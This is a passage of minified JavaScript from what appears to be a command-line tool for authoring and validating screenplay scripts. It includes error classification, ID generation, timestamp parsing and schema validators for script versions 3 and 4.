e.episodes.length>0&&t.push(""),e.episodes.forEach((n,o)=>{t.push(...Hc(n)),o<e.episodes.length-1&&t.push("")}),t.push("</script>"),t}case"episode":return Hc(e.value);case"episode-span":{let t=[...Jn(e.extend),`<episode-span from=${e.from} through=${e.through}>`];return e.episodes.forEach((n,o)=>{t.push(...Hc(n)),o<e.episodes.length-1&&t.push("")}),t.push("</episode-span>"),t}case"scene":return Fc(e.value,`id=${e.value.scene_id} parent=${e.parent}`);case"scene-span":{let t=[...Jn(e.extend),`<scene-span parent=${e.parent} from=${e.from} through=${e.through}>`];return e.scenes.forEach((n,o)=>{t.push(...Fc(n,`id=${n.scene_id}`)),o<e.scenes.length-1&&t.push("")}),t.push("</scene-span>"),t}case"action-span":{let t=[...Jn(e.extend),`<action-span parent=${e.parent} from=${e.from} through=${e.through}>`,"<body>"];for(let n of e.actions)t.push(...Du(n));return t.push("</body>","</action-span>"),t}}}function Gu(e){let t=["<authoring version=1>",""];if(e.declarations.length>0){t.push("<create>");for(let n of e.declarations)t.push(...M_(n));t.push("</create>","")}return e.targets.forEach((n,o)=>{t.push(...N_(n)),o<e.targets.length-1&&t.push("")}),t.push("","</authoring>"),`${t.join(`
122
+ `,S=class extends Error{exitCode;errorCode;hint;data;constructor(t,n){super(t),this.name="CliError",this.exitCode=n.exitCode,this.errorCode=n.errorCode,this.hint=n.hint,this.data=n.data??{}}};function Gw(e){return new Ls(e)}function hu(e){return Gw(e).directDir}function me(e){let t=e.script_path??e.scriptPath;return xr.resolve(typeof t=="string"&&t.length>0?t:Dw)}function Sr(e){return Ns.readJson(e)}function vc(e,t){Ns.writeJson(e,t)}function Fo(e){return Ns.exists(e)}function _e(e){return bc.createHash("sha256").update(e,"utf-8").digest("hex")}function Oc(e){let t=bc.createHash("sha256"),n=Ni.openSync(e,"r");try{let o=Buffer.alloc(1048576);for(;;){let i=Ni.readSync(n,o,0,o.length,null);if(i<=0)break;t.update(o.subarray(0,i))}}finally{Ni.closeSync(n)}return t.digest("hex")}var Lt={policy:["content_blocked"],network:["dns_failed","connection_refused","connection_reset","network_unreachable","tls_failed","network_failed"],timeout:["connect_timeout","request_timeout","media_processing_timeout"],rate_limit:["rate_limited"],authentication:["authentication_failed"],authorization:["permission_denied"],provider:["resource_not_found","provider_unavailable","request_rejected","attempts_exhausted"],media:["media_upload_failed","media_processing_failed","media_too_large","unsupported_media"],response:["output_truncated","empty_response","malformed_response"],pipeline:["serial_parse_failed","source_mismatch","pipeline_mismatch"],validation:["script_validation_failed"],cancelled:["cancelled"],unknown:["unknown","legacy_unclassified"]};function Nt(e,t){return typeof e=="string"&&t.some(n=>n===e)}function yu(e,t){switch(e){case"policy":return Nt(t,Lt.policy)?{failure_type:e,failure_code:t}:null;case"network":return Nt(t,Lt.network)?{failure_type:e,failure_code:t}:null;case"timeout":return Nt(t,Lt.timeout)?{failure_type:e,failure_code:t}:null;case"rate_limit":return Nt(t,Lt.rate_limit)?{failure_type:e,failure_code:t}:null;case"authentication":return Nt(t,Lt.authentication)?{failure_type:e,failure_code:t}:null;case"authorization":return Nt(t,Lt.authorization)?{failure_type:e,failure_code:t}:null;case"provider":return Nt(t,Lt.provider)?{failure_type:e,failure_code:t}:null;case"media":return Nt(t,Lt.media)?{failure_type:e,failure_code:t}:null;case"response":return Nt(t,Lt.response)?{failure_type:e,failure_code:t}:null;case"pipeline":return Nt(t,Lt.pipeline)?{failure_type:e,failure_code:t}:null;case"validation":return Nt(t,Lt.validation)?{failure_type:e,failure_code:t}:null;case"cancelled":return Nt(t,Lt.cancelled)?{failure_type:e,failure_code:t}:null;case"unknown":return Nt(t,Lt.unknown)?{failure_type:e,failure_code:t}:null;default:return null}}function Ut(e,t){return{...e,...t}}function Ui(e){switch(e.failure_type){case"policy":return{failure_type:e.failure_type,failure_code:e.failure_code};case"network":return{failure_type:e.failure_type,failure_code:e.failure_code};case"timeout":return{failure_type:e.failure_type,failure_code:e.failure_code};case"rate_limit":return{failure_type:e.failure_type,failure_code:e.failure_code};case"authentication":return{failure_type:e.failure_type,failure_code:e.failure_code};case"authorization":return{failure_type:e.failure_type,failure_code:e.failure_code};case"provider":return{failure_type:e.failure_type,failure_code:e.failure_code};case"media":return{failure_type:e.failure_type,failure_code:e.failure_code};case"response":return{failure_type:e.failure_type,failure_code:e.failure_code};case"pipeline":return{failure_type:e.failure_type,failure_code:e.failure_code};case"validation":return{failure_type:e.failure_type,failure_code:e.failure_code};case"cancelled":return{failure_type:e.failure_type,failure_code:e.failure_code};case"unknown":return{failure_type:e.failure_type,failure_code:e.failure_code}}}function Ir(e){return{...e.provider!==void 0?{provider:e.provider}:{},...e.model!==void 0?{model:e.model}:{},...e.operation!==void 0?{operation:e.operation}:{},...e.http_status!==void 0?{http_status:e.http_status}:{},...e.system_code!==void 0?{system_code:e.system_code}:{},...e.provider_source!==void 0?{provider_source:e.provider_source}:{},...e.provider_reason!==void 0?{provider_reason:e.provider_reason}:{},...e.provider_reason_raw!==void 0?{provider_reason_raw:e.provider_reason_raw}:{},...e.finish_message!==void 0?{finish_message:e.finish_message}:{},...e.safety_ratings!==void 0?{safety_ratings:e.safety_ratings}:{},...e.details!==void 0?{details:e.details}:{}}}function wu(e,t){if(e.length===0)return Ut({failure_type:"unknown",failure_code:"unknown"},{retryable:!1,message:t});let n=e[0],i=e.every(r=>r.failure_type===n.failure_type&&r.failure_code===n.failure_code)?Ui(n):{failure_type:"provider",failure_code:"attempts_exhausted"};return Ut(i,{retryable:e.some(r=>r.retryable),message:t})}function hn(e){let t=e.provider||e.model?`${e.provider??"provider"}/${e.model??"model"} `:"",n=e.provider_reason?` provider_reason=${e.provider_reason}`:"",o=e.system_code?` system_code=${e.system_code}`:"",i=e.http_status!==void 0?` http_status=${e.http_status}`:"",r=e.details?.length?` | ${e.details.join(" | ")}`:"";return`${t}${e.failure_type}/${e.failure_code}${n}${o}${i}: ${e.message}${r}`}import*as Uu from"node:crypto";import*as Pu from"node:fs";import*as Cu from"node:path";import*as bu from"node:crypto";var Cn=["action","dialogue","inner_thought","transition"],qt=new Set(Cn),Tn=["system","broadcast","offscreen","group"],Yo=new Set(Tn),Vn=["featured","background"],Pt=new Set(Vn),Pi=["\u4E3B\u89D2","\u914D\u89D2"],fo=new Set(Pi),Us=["day","night","dawn","dusk"],Rc=new Set(Us);function Ar(e){return typeof e=="string"&&Rc.has(e)}var Mc=["interior","exterior"],_u=new Set(Mc);function lt(e){return e.normalize("NFKC").toLowerCase()}function Eu(e){return JSON.stringify([e.code,e.path,e.message])}function Lc(e){let t=new Map;for(let n of e){let o=Eu(n);t.set(o,(t.get(o)??0)+1)}return t}function Nc(e,t){if(e.ok||t.errors.length>=e.errors.length)return!1;let n=Lc(e.errors),o=Lc(t.errors);for(let[i,r]of o)if(r>(n.get(i)??0))return!1;return!0}function Uc(e,t){let n=Lc(e),o=[];for(let i of t){let r=Eu(i),s=n.get(r)??0;s>0?n.set(r,s-1):o.push(i)}return o}import{customAlphabet as Bw}from"nanoid";var Ci="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz",Pc=6,Ti={episode:"ep",scene:"scn",action:"ac",actor:"act",location:"loc",prop:"prp",state:"st"},Jw=Bw(Ci,Pc),Kw=`[${Ci}]`,xu=Object.fromEntries(Object.entries(Ti).map(([e,t])=>[e,new RegExp(`^${t}${Kw}{${Pc}}$`)]));function V(e,t){return typeof t=="string"&&xu[e].test(t)}var Cc="ID_SPACE_EXHAUSTED";function kr(e,t=new Set,n=Jw){let o=Ti[e];for(let i=0;i<128;i++){let r=`${o}${n()}`;if(!t.has(r))return r}throw Object.assign(new Error(`Could not generate an unused ${e} ID after 128 attempts.`),{code:Cc})}var et=class extends Error{input;constructor(t,n){super(n),this.input=t,this.name="TimestampParseError"}},jw=/^(\d+):(\d{2})(?:\.(\d{1,3}))?$/,zw=/^(\d+):(\d{2}):(\d{2})(?:\.(\d{1,3}))?$/;function Su(e){return e?Number(e.padEnd(3,"0")):0}function Iu(e,t){if(!Number.isSafeInteger(t))throw new et(e,"Timestamp exceeds the supported numeric range.");return t}function Au(e,t){let n=Math.floor(e/1e3),o=Math.floor(n/3600),i=Math.floor(n%3600/60),r=n%60,s=t?`.${t}`:"";return o>0?`${o}:${String(i).padStart(2,"0")}:${String(r).padStart(2,"0")}${s}`:`${String(i).padStart(2,"0")}:${String(r).padStart(2,"0")}${s}`}function mo(e){let t=e.trim();if(!t)throw new et(e,"Timestamp must not be empty.");let n=t.match(zw);if(n){let a=Number(n[1]),d=Number(n[2]),p=Number(n[3]),l=n[4];if(d>59)throw new et(e,"Hour-form timestamps require minutes between 00 and 59.");if(p>59)throw new et(e,"Timestamp seconds must be between 00 and 59.");let f=Iu(e,((a*60+d)*60+p)*1e3+Su(l));return{canonical:Au(f,l),milliseconds:f,fractionDigits:l?.length??0}}let o=t.match(jw);if(!o)throw new et(e,"Use M:SS, MM:SS, or H:MM:SS with an optional 1-3 digit fraction.");let i=Number(o[1]),r=Number(o[2]),s=o[3];if(r>59)throw new et(e,"Timestamp seconds must be between 00 and 59.");let c=Iu(e,(i*60+r)*1e3+Su(s));return{canonical:Au(c,s),milliseconds:c,fractionDigits:s?.length??0}}function Hw(e){if(typeof e!="object"||e===null||Array.isArray(e))return;let t=e.extend;if(!(typeof t!="object"||t===null||Array.isArray(t)))return t.timestamp}function Qw(e,t){let n=e.milliseconds-t.milliseconds;return e.fractionDigits===0||t.fractionDigits===0?n>=1e3:n>0}function Ps(e,t,n){let o=null;e.forEach((i,r)=>{let s=Hw(i);if(s===void 0)return;let c=`${t}[${r}].extend.timestamp`;if(typeof s!="string"){n("timestamp_invalid",c,"timestamp must be a string in M:SS, MM:SS, or H:MM:SS form");return}let a;try{a=mo(s)}catch(d){if(!(d instanceof et))throw d;n("timestamp_invalid",c,d.message);return}o!==null&&Qw(o.timestamp,a)&&n("timestamp_out_of_order",c,`timestamp ${a.canonical} is earlier than Action ${o.actionIndex+1} timestamp ${o.timestamp.canonical}; equal timestamps and sub-second differences against a whole-second mark are allowed`),o={actionIndex:r,timestamp:a}})}var yt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),$n=e=>Array.isArray(e),Ie=e=>typeof e=="string",Fw=["state_changes","actor_id","speakers","lines"];function wt(e){let t=[],n=[],o=(u,y,m,g)=>t.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}}),i=(u,y,m)=>n.push({code:u,path:y,message:m});if(!yt(e))return{ok:!1,errors:[{code:"not_object",path:"$",message:"script must be an object"}],warnings:n};e.version!==3&&o("version","$.version","version must be 3");for(let u of["title","worldview","style"])Ie(e[u])||o("field",`$.${u}`,`${u} must be a string`);let r=new Map,s=new Map,c=new Map,a=(u,y,m,g,w)=>{if(!$n(u)){o("field",w,`${w} must be an array`);return}u.forEach((h,_)=>{let x=`${w}[${_}]`;if(!yt(h)){o("asset",x,"asset must be an object");return}let E=h[m];if(!Ie(E)){o("asset_id",`${x}.${m}`,`${m} required`);return}if(s.has(E)&&o("dup_id",`${x}.${m}`,`duplicate id ${E}`),s.set(E,y),!Ie(h[g]))o("asset_name",`${x}.${g}`,`${g} required`);else if(y==="actor"){let M=lt(h[g]),I=c.get(M);I!==void 0?o("dup_actor_name",`${x}.${g}`,`actor name ${h[g]} already belongs to ${I}`):c.set(M,E)}(!Ie(h.importance)||!Vn.includes(h.importance))&&o("importance",`${x}.importance`,`importance must be one of ${Vn.join("|")}`),Ie(h.description)||o("asset_desc",`${x}.description`,"description must be a string");let A=new Set,k=new Set,N=0;!$n(h.states)||h.states.length===0?o("states",`${x}.states`,"states must be a non-empty array"):h.states.forEach((M,I)=>{let O=`${x}.states[${I}]`;if(!yt(M)||!Ie(M.state_id)){o("state_id",O,"state_id required");return}A.has(M.state_id)&&o("dup_state",O,`duplicate state_id ${M.state_id}`),A.add(M.state_id),M.state_id==="default"&&N++,Ie(M.state_name)?(k.has(M.state_name)&&o("dup_state_name",`${O}.state_name`,`duplicate state_name ${M.state_name}`),k.add(M.state_name)):o("state_name",`${O}.state_name`,"state_name required")}),$n(h.states)&&N!==1&&o("default_state",`${x}.states`,`exactly one 'default' state required, found ${N}`),r.set(E,A)})};a(e.actors,"actor","actor_id","actor_name","$.actors"),a(e.locations,"location","location_id","location_name","$.locations"),a(e.props,"prop","prop_id","prop_name","$.props");let d=(u,y,m,g)=>{if(s.get(u)!==m){o("ref",g,`${m} ${u} not found`);return}y!==void 0&&(!Ie(y)||!r.get(u)?.has(y))&&o("state_ref",g,`state ${String(y)} not materialized on ${u}`)},p=(u,y,m,g)=>{if(u===void 0){o("field",g,`${g} required (may be empty array)`);return}if(!$n(u)){o("field",g,`${g} must be an array`);return}u.forEach((w,h)=>{if(!yt(w)||!Ie(w[m])){o("ref",`${g}[${h}]`,`${m} required`);return}d(w[m],w.state_id,y,`${g}[${h}]`)})},l=(u,y,m,g)=>{if(!yt(u)){o("action",y,"action must be an object");return}for(let h of Fw)h in u&&o("legacy_field",`${y}.${h}`,`v3 forbids action.${h}`);let w=u.type;if((!Ie(w)||!Cn.includes(w))&&o("action_type",`${y}.type`,`invalid action type ${String(w)}`),Ie(u.content)||o("content",`${y}.content`,"content must be a plain-text string"),w==="dialogue"||w==="inner_thought"){let h=u.speaker;if(!yt(h))o("speaker",`${y}.speaker`,"dialogue/inner_thought needs a speaker");else if("kind"in h)(!Ie(h.kind)||!Tn.includes(h.kind))&&o("speaker_kind",`${y}.speaker.kind`,"invalid non-actor speaker kind");else if(Ie(h.actor_id)){if(d(h.actor_id,h.state_id,"actor",`${y}.speaker`),!m.has(h.actor_id)){let _=r.get(h.actor_id),x=Ie(h.state_id)&&_?.has(h.state_id)?h.state_id:_?.has("default")?"default":_?.values().next().value,E=g&&x?`scriptctl scene-ref ${g} actor:${h.actor_id} --state ${x} -p "$SCRIPT"`:void 0;o("actor_not_in_scene",`${y}.speaker.actor_id`,`actor ${h.actor_id} is not referenced by this scene`,E)}}else o("speaker",`${y}.speaker`,"speaker needs actor_id or kind")}},f=e.episodes;return $n(f)?f.forEach((u,y)=>{let m=`$.episodes[${y}]`;if(!yt(u)||!Ie(u.episode_id)){o("episode_id",m,"episode_id required");return}if(!$n(u.scenes)){o("scenes",`${m}.scenes`,"scenes must be an array");return}u.scenes.forEach((g,w)=>{let h=`${m}.scenes[${w}]`;if(!yt(g)){o("scene",h,"scene must be an object");return}"context"in g&&o("legacy_field",`${h}.context`,"v3 forbids scene.context"),Ie(g.scene_id)||o("scene_id",h,"scene_id required");let _=g.environment;_===void 0||yt(_)&&(!Ie(_.time)||_.time.trim()==="")?i("scene_time_missing",`${h}.environment.time`,"scene time is required for production review"):!yt(_)||_.space!==void 0&&!Ie(_.space)||!Ie(_.time)?o("environment",`${h}.environment`,"environment must contain optional string space and a time string"):Ar(_.time)||o("scene_time",`${h}.environment.time`,"scene time must be day|night|dawn|dusk"),(g.environment===void 0||yt(g.environment)&&(!Ie(g.environment.space)||g.environment.space.trim()===""))&&i("scene_space_missing",`${h}.environment.space`,"scene interior/exterior is required for production review"),g.location===null&&i("scene_location_missing",`${h}.location`,"scene location is required for production review");let x=g.location;if(x!==null&&(!yt(x)||!Ie(x.location_id)?o("location",`${h}.location`,"location must be null or {location_id}"):d(x.location_id,x.state_id,"location",`${h}.location`)),p(g.actors,"actor","actor_id",`${h}.actors`),p(g.props,"prop","prop_id",`${h}.props`),$n(g.props)){let A=new Set;g.props.forEach((k,N)=>{!yt(k)||!Ie(k.prop_id)||(A.has(k.prop_id)&&o("dup_prop_ref",`${h}.props[${N}]`,`duplicate prop ref ${k.prop_id}`),A.add(k.prop_id))})}let E=new Set($n(g.actors)?g.actors.filter(A=>yt(A)).map(A=>A.actor_id).filter(A=>Ie(A)):[]);if(!$n(g.actions))o("actions",`${h}.actions`,"actions must be an array");else{let A=Ie(g.scene_id)?`${u.episode_id}/${g.scene_id}`:void 0;g.actions.forEach((k,N)=>l(k,`${h}.actions[${N}]`,E,A)),Ps(g.actions,`${h}.actions`,o)}})}):o("episodes","$.episodes","episodes must be an array"),{ok:t.length===0,errors:t,warnings:n}}var tt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),de=e=>typeof e=="string",yn=e=>Array.isArray(e);function Tc(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(Tc):tt(e)&&Object.values(e).every(Tc)}function Vi(e,t,n){e!==void 0&&(!tt(e)||!Object.values(e).every(Tc))&&n("extend",t,"extend must be an object containing JSON values")}function Yw(e){for(let t=1;t<e.length;t++)if(e[t-1]>e[t])return!1;return!0}function Pe(e){let t=[],n=[],o=(u,y,m,g)=>t.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}}),i=(u,y,m,g)=>n.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}});if(!tt(e))return{ok:!1,errors:[{code:"not_object",path:"$",message:"script must be an object"}],warnings:n};e.version!==4&&o("version","$.version","version must be 4");for(let u of["title","worldview","style"])de(e[u])||o("field",`$.${u}`,`${u} must be a string`);for(let u of["worldview_raw","synopsis","logline","theme"])e[u]!==void 0&&!de(e[u])&&o("field",`$.${u}`,`${u} must be a string`);e.main_characters!==void 0&&(!yn(e.main_characters)||!e.main_characters.every(u=>tt(u)&&de(u.name)&&de(u.role)))&&o("main_characters","$.main_characters","main_characters must contain {name, role} string records"),Vi(e.extend,"$.extend",o);let r=new Map,s=new Map,c=new Set,a=(u,y,m,g,w)=>{if(!yn(u)){o("field",w,`${w} must be an array`);return}let h=new Set;u.forEach((_,x)=>{let E=`${w}[${x}]`;if(!tt(_)){o("asset",E,"asset must be an object");return}let A=_[m];if(!V(y,A)){o("asset_id",`${E}.${m}`,`${m} must be ${y} ID`);return}if(h.has(A)&&o("dup_id",`${E}.${m}`,`duplicate ${m} ${A}`),h.add(A),r.set(A,y),!de(_[g])||_[g].trim()==="")o("asset_name",`${E}.${g}`,`${g} must be a non-empty string`);else if(y==="actor"){let I=_[g].trim().toLocaleLowerCase();c.has(I)&&o("dup_actor_name",`${E}.${g}`,`duplicate actor name ${_[g]}`),c.add(I)}if((!de(_.importance)||!Vn.includes(_.importance))&&o("importance",`${E}.importance`,`importance must be ${Vn.join("|")}`),y==="actor"&&_.role_type!==void 0&&(!de(_.role_type)||!Pi.includes(_.role_type))&&o("role_type",`${E}.role_type`,`role_type must be ${Pi.join("|")}`),de(_.description)||o("asset_desc",`${E}.description`,"description must be a string"),_.aliases!==void 0&&(!yn(_.aliases)||!_.aliases.every(de)))o("aliases",`${E}.aliases`,"aliases must be an array of strings");else if(yn(_.aliases)&&_.aliases.every(de)){let I=new Set,O=de(_[g])?_[g]:"";_.aliases.forEach((U,C)=>{U===""&&o("alias_empty",`${E}.aliases[${C}]`,"alias must not be empty"),U===O&&o("alias_equals_name",`${E}.aliases[${C}]`,"alias must differ from the asset name"),I.has(U)&&o("dup_alias",`${E}.aliases[${C}]`,`duplicate alias ${U}`),I.add(U)})}Vi(_.extend,`${E}.extend`,o);let k=new Set,N=new Set,M=0;!yn(_.states)||_.states.length===0?o("states",`${E}.states`,"states must be a non-empty array"):_.states.forEach((I,O)=>{let U=`${E}.states[${O}]`;if(!tt(I)){o("state",U,"state must be an object");return}let C=I.state_id;if(C!=="default"&&!V("state",C)){o("state_id",`${U}.state_id`,"state_id must be default or st plus six Base58 characters");return}k.has(C)&&o("dup_state",`${U}.state_id`,`duplicate state_id ${C}`),k.add(C),C==="default"&&M++,!de(I.state_name)||I.state_name.trim()===""?o("state_name",`${U}.state_name`,"state_name must be a non-empty string"):(N.has(I.state_name)&&o("dup_state_name",`${U}.state_name`,`duplicate state_name ${I.state_name}`),N.add(I.state_name)),de(I.description)||o("state_description",`${U}.description`,"description must be a string"),Vi(I.extend,`${U}.extend`,o)}),M!==1&&o("default_state",`${E}.states`,`exactly one default state required, found ${M}`),s.set(A,k)})};a(e.actors,"actor","actor_id","actor_name","$.actors"),a(e.locations,"location","location_id","location_name","$.locations"),a(e.props,"prop","prop_id","prop_name","$.props");let d=(u,y,m)=>{if(!yn(y)||y.length===0||!y.every(de))return o("state_ids",m,"state_ids must be a non-empty array of strings"),[];let g=y,w=new Set;return g.forEach((h,_)=>{w.has(h)&&o("dup_state_ref",`${m}[${_}]`,`duplicate state_id ${h}`),w.add(h),s.get(u)?.has(h)||o("state_ref",`${m}[${_}]`,`state ${h} not found on ${u}`)}),Yw(g)||o("state_ids_order",m,"state_ids must be sorted lexically"),g},p=new Set,l=new Set,f=new Set;return yn(e.episodes)?e.episodes.forEach((u,y)=>{let m=`$.episodes[${y}]`;if(!tt(u)){o("episode",m,"episode must be an object");return}V("episode",u.episode_id)?(p.has(u.episode_id)&&o("dup_episode_id",`${m}.episode_id`,`duplicate episode_id ${u.episode_id}`),p.add(u.episode_id)):o("episode_id",`${m}.episode_id`,"episode_id must be ep plus six Base58 characters");for(let g of["title","synopsis"])u[g]!==void 0&&!de(u[g])&&o("field",`${m}.${g}`,`${g} must be a string`);if(Vi(u.extend,`${m}.extend`,o),!yn(u.scenes)){o("scenes",`${m}.scenes`,"scenes must be an array");return}u.scenes.forEach((g,w)=>{let h=`${m}.scenes[${w}]`;if(!tt(g)){o("scene",h,"scene must be an object");return}V("scene",g.scene_id)?(l.has(g.scene_id)&&o("dup_scene_id",`${h}.scene_id`,`duplicate scene_id ${g.scene_id}`),l.add(g.scene_id)):o("scene_id",`${h}.scene_id`,"scene_id must be scn plus six Base58 characters"),Vi(g.extend,`${h}.extend`,o),g.environment===void 0||tt(g.environment)&&(!de(g.environment.time)||g.environment.time.trim()==="")?i("scene_time_missing",`${h}.environment.time`,"scene time is required for production review"):!tt(g.environment)||g.environment.space!==void 0&&!de(g.environment.space)||!de(g.environment.time)?o("environment",`${h}.environment`,"environment must contain optional string space and a time string"):Ar(g.environment.time)||o("scene_time",`${h}.environment.time`,"scene time must be day|night|dawn|dusk"),(g.environment===void 0||tt(g.environment)&&(!de(g.environment.space)||g.environment.space.trim()===""))&&i("scene_space_missing",`${h}.environment.space`,"scene interior/exterior is required for production review"),g.location===null&&i("scene_location_missing",`${h}.location`,"scene location is required for production review"),g.location!==null&&(!tt(g.location)||!V("location",g.location.location_id)?o("location",`${h}.location`,"location must be null or a typed v4 location reference"):("state_id"in g.location&&o("v3_field",`${h}.location.state_id`,"Script v4 scene references use state_ids"),r.get(g.location.location_id)!=="location"&&o("location_ref",`${h}.location.location_id`,`location ${g.location.location_id} not found`),d(g.location.location_id,g.location.state_ids,`${h}.location.state_ids`)));let _=new Map,x=(E,A,k,N)=>{if(!yn(E)){o("field",N,`${N} must be an array`);return}let M=new Set;E.forEach((I,O)=>{let U=`${N}[${O}]`;if(!tt(I)||!V(A,I[k])){o("ref",U,`${k} must be a typed v4 ID`);return}let C=I[k];"state_id"in I&&o("v3_field",`${U}.state_id`,"Script v4 scene references use state_ids"),M.has(C)&&o("dup_asset_ref",`${U}.${k}`,`duplicate ${A} ref ${C}`),M.add(C),r.get(C)!==A&&o("asset_ref",`${U}.${k}`,`${A} ${C} not found`);let R=d(C,I.state_ids,`${U}.state_ids`);A==="actor"&&_.set(C,new Set(R))})};if(x(g.actors,"actor","actor_id",`${h}.actors`),x(g.props,"prop","prop_id",`${h}.props`),!yn(g.actions)){o("actions",`${h}.actions`,"actions must be an array");return}g.actions.forEach((E,A)=>{let k=`${h}.actions[${A}]`;if(!tt(E)){o("action",k,"action must be an object");return}if(V("action",E.action_id)?(f.has(E.action_id)&&o("dup_action_id",`${k}.action_id`,`duplicate action_id ${E.action_id}`),f.add(E.action_id)):o("action_id",`${k}.action_id`,"action_id must be ac plus six Base58 characters"),(!de(E.type)||!Cn.includes(E.type))&&o("action_type",`${k}.type`,`invalid action type ${String(E.type)}`),de(E.content)||o("content",`${k}.content`,"content must be a string"),"emotion"in E&&o("v3_field",`${k}.emotion`,"Script v4 does not allow emotion"),Vi(E.extend,`${k}.extend`,o),E.type==="dialogue"||E.type==="inner_thought")if(E.parenthetical!==void 0&&!de(E.parenthetical)&&o("parenthetical",`${k}.parenthetical`,"parenthetical must be a string"),!tt(E.speaker))o("speaker",`${k}.speaker`,"dialogue/inner_thought requires a speaker");else if(de(E.speaker.actor_id)){("kind"in E.speaker||"label"in E.speaker)&&o("speaker_shape",`${k}.speaker`,"actor speaker cannot contain non-actor speaker fields");let M=E.speaker.actor_id;(!V("actor",M)||r.get(M)!=="actor")&&o("speaker_actor",`${k}.speaker.actor_id`,`actor ${M} not found`);let I=_.get(M),O=s.get(M),U=de(E.speaker.state_id)&&O?.has(E.speaker.state_id)?E.speaker.state_id:void 0,C=O?.has("default")?"default":O?.values().next().value,R=U?[U]:C?[C]:[],K=V("scene",g.scene_id)&&V("actor",M)&&R.length>0?`scriptctl scene-ref ${g.scene_id} ${M} ${R.map(Z=>`--state ${Z}`).join(" ")} -p "$SCRIPT"`:void 0;if(I||o("actor_not_in_scene",`${k}.speaker.actor_id`,`actor ${M} is not referenced by this scene`,K),E.speaker.state_id!==void 0&&(!de(E.speaker.state_id)||!I?.has(E.speaker.state_id))){let Z=U?[...new Set([...I??[],U])].sort():[],Re=V("scene",g.scene_id)&&V("actor",M)&&Z.length>0?`scriptctl scene-ref ${g.scene_id} ${M} ${Z.map(ie=>`--state ${ie}`).join(" ")} -p "$SCRIPT"`:K;o("speaker_state",`${k}.speaker.state_id`,`speaker state ${String(E.speaker.state_id)} is not in this scene's actor state_ids`,Re)}}else de(E.speaker.kind)?(("actor_id"in E.speaker||"state_id"in E.speaker)&&o("speaker_shape",`${k}.speaker`,"non-actor speaker cannot contain actor speaker fields"),Tn.includes(E.speaker.kind)||o("speaker_kind",`${k}.speaker.kind`,"invalid non-actor speaker kind"),E.speaker.label!==void 0&&!de(E.speaker.label)&&o("speaker_label",`${k}.speaker.label`,"speaker label must be a string")):o("speaker",`${k}.speaker`,"speaker needs actor_id or kind");else"parenthetical"in E&&o("parenthetical_type",`${k}.parenthetical`,"parenthetical only belongs to speaking actions"),"speaker"in E&&o("speaker_type",`${k}.speaker`,"speaker only belongs to speaking actions");if(E.transition_prompt!==void 0){let M=E.transition_prompt;!tt(M)||!de(M.target)||!de(M.process)||M.process===""||!de(M.contrast)||M.contrast===""?o("transition_prompt",`${k}.transition_prompt`,"transition_prompt requires non-empty target/process/contrast"):r.has(M.target)||o("transition_target",`${k}.transition_prompt.target`,`asset ${M.target} not found`)}}),Ps(g.actions,`${h}.actions`,o)})}):o("episodes","$.episodes","episodes must be an array"),{ok:t.length===0,errors:t,warnings:n}}function qo(e,t=new Set,n){try{return n?kr(e,t,n):kr(e,t)}catch(o){throw o?.code!==Cc?o:new S(`Could not generate an unused ${e} ID.`,{exitCode:b,errorCode:"ID_SPACE_RETRY_EXHAUSTED",hint:"Retry the command. If this persists, inspect the configured ID generator."})}}function Ae(e,t=[]){throw new S(e,{exitCode:b,errorCode:"CREATIVE_DRAFT_INVALID",hint:"Use the readable creative draft schema; do not include Script IDs or .scriptctl syntax.",data:{actual:t.map(String)}})}function Dn(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function q(e,t=""){return String(e??"").replace(/\s+/gu," ").trim()||t}function qw(e,t){let n=Number(e);return(!Number.isSafeInteger(n)||n<1)&&Ae(`${t} must be a positive integer.`,[e]),n}function Zw(e){return e===void 0?{}:(Dn(e)||Ae("Action extensions must be an object."),structuredClone(e))}function Ww(e){let t=new Set;for(let n of e.actors){t.add(n.actor_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.locations){t.add(n.location_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.props){t.add(n.prop_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.episodes){t.add(n.episode_id);for(let o of n.scenes){t.add(o.scene_id);for(let i of o.actions)t.add(i.action_id)}}return t}function go(e,t,n){for(let o=0;o<128;o+=1){let i=bu.createHash("sha256").update(`${e}:${t}:${o}`).digest(),r="";for(let c=0;c<6;c+=1)r+=Ci[i[c]%Ci.length];let s=`${Ti[e]}${r}`;if(!n.has(s))return n.add(s),s}Ae(`Could not allocate a stable ${e} ID.`)}function Xw(e){let t=q(e).match(/^(\d+):([0-5]\d)(?:\.(\d{1,3}))?$/u);return t?(Number(t[1])*60+Number(t[2]))*1e3+Number((t[3]??"").padEnd(3,"0")):null}function e_(e){return`${Math.floor(e/6e4)}:${String(Math.floor(e%6e4/1e3)).padStart(2,"0")}.${String(e%1e3).padStart(3,"0")}`}function t_(e){let t=Number(e.extend?.duration_ms??e.extend?.rewrite_duration_ms);return Number.isFinite(t)&&t>0?Math.round(t):1200}function n_(e){let t=0;for(let n of e.scenes.flatMap(o=>o.actions))t=(Xw(n.extend?.timestamp)??t)+t_(n);return t}function vu(e){return e===void 0?[]:((!Array.isArray(e)||!e.every(Dn))&&Ae("Asset variants must be an array of readable objects."),e)}function o_(e,t){let n=e.assets;if(n===void 0)return[];Dn(n)||Ae("assets must be an object.");let o=n[t];return o===void 0?[]:((!Array.isArray(o)||!o.every(Dn))&&Ae(`assets.${t} must be an array.`),o)}function i_(e,t){return e==="actors"?t.actor_name:e==="locations"?t.location_name:t.prop_name}function r_(e,t){return e[t]}function s_(e,t){return[i_(e,t),...t.aliases??[]].map(lt)}function Ou(e,t,n){let o=lt(n);return o_(e,t).find(i=>[i.name,...Array.isArray(i.aliases)?i.aliases:[]].map(r=>lt(q(r))).includes(o))??null}function Ru(e,t){if(!e)return null;let n=lt(t);return vu(e.variants).find(o=>{let i=lt(q(o.name));return i===n||["default","\u9ED8\u8BA4"].includes(n)&&["default","\u9ED8\u8BA4"].includes(i)})??null}function Mu(e,t,n){let 